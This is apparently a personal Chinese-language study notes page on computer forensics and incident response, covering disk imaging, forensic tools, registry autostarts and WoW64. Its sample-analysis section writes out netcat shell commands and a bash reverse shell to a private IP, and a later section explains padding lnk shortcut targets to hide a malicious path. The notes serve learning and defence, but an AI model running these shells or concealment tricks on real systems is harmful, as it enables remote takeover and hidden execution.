计算机取证 (Computer forensics 也称为计算机取证科学)是数字取证科学的⼀个分⽀,涉及在计算机和数字存储介质中发现的证据。

计算机取证的⽬标是以合法的⽅式检查数字媒体,⽬的是识别、保存、恢复、分析和呈现有关数字信息的事实和观点,在国内⼜叫做计算机单机取证

iso,vmdk都是镜像文件的一种格式,区别是vmdk可以省掉不必要的安装流程,相当于虚拟机快照可以直接使用区别就是没有任何区别不过是不同的格式或者说是加载方式不一样

Raw镜像格式是一种原始镜像格式,也就是不压缩的格式,位对位复制,源盘多大则镜像多大,常见的后缀格式有“**.001、.dd、.img、.ctr**”

vmdk则为虚拟机磁盘镜像可以直接保存主机数据,可以使用它创建新虚拟机

工具使用

disk2vmdk

image-20240702093740073

创建的磁盘必须勾选必要的C盘以及其他引导文件和配置盘

D盾

『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,应该是相当于火绒,360这样的查杀工具,基于IIS所以应该是用来查杀网站目录是否中毒

qq截图的默认快捷键是“Ctrl+Alt+A

image-20240702094351260

everything

递归列出目录下所有文件,相当于方便查看所有文件不用一个个点击

image-20240702094927504

智取

智取将应急响应过程中检测环节进一步拆解为取证、检测、调查、溯源4个步骤

txt
1
2
3
4
取证:信息搜集,查找主机各种日志和系统基本信息
检测:基于原始日志与IOC情报、TTP情报、YARA规则、行为规则和自定义案件线索对取证数据进行分析比对产生告警和攻击事件,即自动化分析取证数据
调查:分析攻击手段,查出受影响范围
溯源:查出攻击者

image-20240702101441596

AutoRuns

AutoRuns 是微软提供的一款「启动项管理」工具,可以检查开机自动加载的所有程序,比系统自带的 msconfig.exe 更全。常在应急响应时查找启动项留下的后门。

msconfig

image-20240702102127353

RamCapture

用来制作内存镜像

内存镜像的工作原理与硬盘的热备份类似,内存镜像是将内存数据做两个拷贝,分别放在主内存和镜像内存中,主要作用应该是防止内存崩了然后替换上去

image-20240702103342352

cports

查看端口使用情况,防止端口被占用

image-20240702103631469

使用的vmdk文件可能会爆出权限不足,需要先建立快照,右键属性,取消只读权限

arsenal image mounter

可以用来挂载各种镜像到文件管理系统

image-20240703145456466

FTK Imager

FTK Imager不但可以制作镜像、挂载镜像、分析镜像,还有数据恢复等

plnk

桌面菜单文件检查工具(lnk)

image-20240725163553227

磁盘镜像

取证:将目标机读取为镜像

仿真:使用VM运行取回镜像

磁盘快照(Snapshot)是针对整个磁盘卷册进行快速的档案系统备份,与其它备份方式最主要的不同点在于「速度」。

使用winhex可以把磁盘转换为镜像,也可以将镜像转变为磁盘

在专业工具里可以转换

添加虚拟磁盘

  • VM添加设备
  • 对磁盘分区
  • 选择一种文件系统对分区进行格式化
  • 进行挂载
shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
fdisk -l:查看磁盘分区情况
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xd000b10a

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 39942143 39940096 19G 83 Linux
/dev/sda2 39944190 41940991 1996802 975M f W95 Ext'd (LBA)
/dev/sda5 39944192 41940991 1996800 975M 82 Linux swap / Solaris
df -h:查看挂载点
Filesystem Size Used Avail Use% Mounted on
udev 1.9G 0 1.9G 0% /dev
tmpfs 389M 1.2M 388M 1% /run
/dev/sda1 19G 14G 4.5G 75% /
tmpfs 1.9G 0 1.9G 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 389M 120K 389M 1% /run/user/126
tmpfs 389M 116K 389M 1% /run/user/1000
lsblk:查看所有磁盘
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sda 8:0 0 20G 0 disk
|-sda1 8:1 0 19G 0 part /
|-sda2 8:2 0 1K 0 part
`-sda5 8:5 0 975M 0 part [SWAP]
sdb 8:16 0 20G 0 disk
sr0 11:0 1 4G 0 rom

虚拟磁盘制作

img

img

dd

img

img

获得一块和原分区相同磁盘,取出其vmdk镜像保存至报告目录下kali-0.vmdk

更新磁盘权限

当磁盘可能仅可读时可能有些文件夹不能访问,这时可以直接清空它的属性改为可读即可访问

image-20240716163911554

磁盘转换

qemu-img

plaintext
1
2
3
4
5
qemu-img info filename:查看镜像相关信息
qemu-img -p -f raw -O vmdk kali.img kali.vmdk
.p:显示转化进度
.f:源镜像类型
.O:目标镜像格式

image-20240708134229848

样本分析

沙箱

image-20240705102233620

反弹木马

nc反弹

被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据

  • l:侦听并接受连接,常被用做服务器参数
  • p:指定端口号,常可以省略
  • s:指定发送数据源ip
  • u:指定nc使用UDP协议,默认使用TCP
  • v:输出交互或者出错信息
  • w:设置超时秒数
  • z:扫描时不发送任何数据
plaintext
1
2
3
4
5
6
7
8
9
10
11
nc -l -p 9999:指定一个端口进行监听,会主动接受收取信息

netstat -an | findstr 9999:本地查看是否启用

nmap 192.168.0.1 -p 9999:远程查看端口是否开启

nc ip port <file:可以直接向监听端口发送数据

反弹shell,指定端口建立连接后远程运行指定程序
nc -nvv ip port:作为控制端,n直接使用ip地址,不解析域名,v表示输出指令执行过程,vv表示输出详细信息
nc ip port -t -e cmd:作为被控制端,主动发起请求同时,启用一个程序,t可以省略,可能表示tcp请求吧,和版本有关,e表示绑定程序

bash反弹

bash -i >& /dev/tcp/172.16.88.198/9999 0>&1

  • bash -i:生成交互界面
  • >&:连接前后两条命令并重定向给后面这个命令
  • 0:标准输入
  • 1:标准输出

这条命令需要在bash shell下才能运行

WoW64

这是一个为了在win64上能执行win32的模拟器子系统,常常被用作天堂之门的反调试技术

32->64

ntdll是一个提供系统级内存分配,进程和线程分配,系统调用接口API的库。常常是程序调用的第一个库文件

kernel32.dll提供用户级的内存,线程和进程管理,相比没有ntdll底层

image-20240718111954528

可以看见64位系统下ntdll并没有直接调用系统函数,而是先翻译为64位操作指令

plaintext
1
2
wow64cpu!X86SwitchTo64BitMode:
748c2320 jmp 0033:748C271E ;wow64cpu!CpupReturnFromSimulatedCode

32位cs: 0x23

64位cs:0x33

流量分析

端口镜像指的是将路由器或者交换机的其他端口流量映射到某一端口中实现对其他端口的流量监听,目标端口就被称为镜像端口

科来网络分析系统

我理解的是一个比wireshark更加臃肿,功能更加多样的工具,应该是运维人员用来检测流量使用的

image-20240712091217637

ATT&CK

ATT&CK是由MITRE机构开发的攻击模型框架,其全称为Adversarial Tactics, Techniques, and Common Knowledge(对抗性战术,技术以及公共知识库)

ATT&CK

注册表

开机自启动表项

image-20240712153758220

Alternate Data Streams, ADS是一个附着在文件属性里的数据流,通常不会直接嵌入文件主数据中但可以通过其他如notepad读取到,一般文件名为a.txt:das.txt,这是属于NTFS文件系统的一个特性

文件默认打开程序

HKEY_CLASSES_ROOT路径下存放有默认程序绑定设置

一般分为两部分

  • 首先先让后缀名与特定数据流绑定
  • 然后绑定特定数据流的打开程序
image-20240723164831095 image-20240723165124914

lnk

这是一个图标快捷跳转文件,但并不是普通的脚本文件,内部有自己格式模板

属性

image-20240723170224987

它的目标url即为运行程序路径,因此可以直接修改目标文件路径跳转入恶意程序,可以使用绝对路径也可以使用cmd传参,不过原理都是打开对应路径传参与否,该位置只能显示256个字符,但cmd参数却远远不止所以可以通过空格将这里填充从而隐藏真正打开文件路径

dll调试

利用ida windbg调试器,自己写一个调用库程序,设置好相关函数,保证架构相同,都是x64或者x32

image-20240724103737603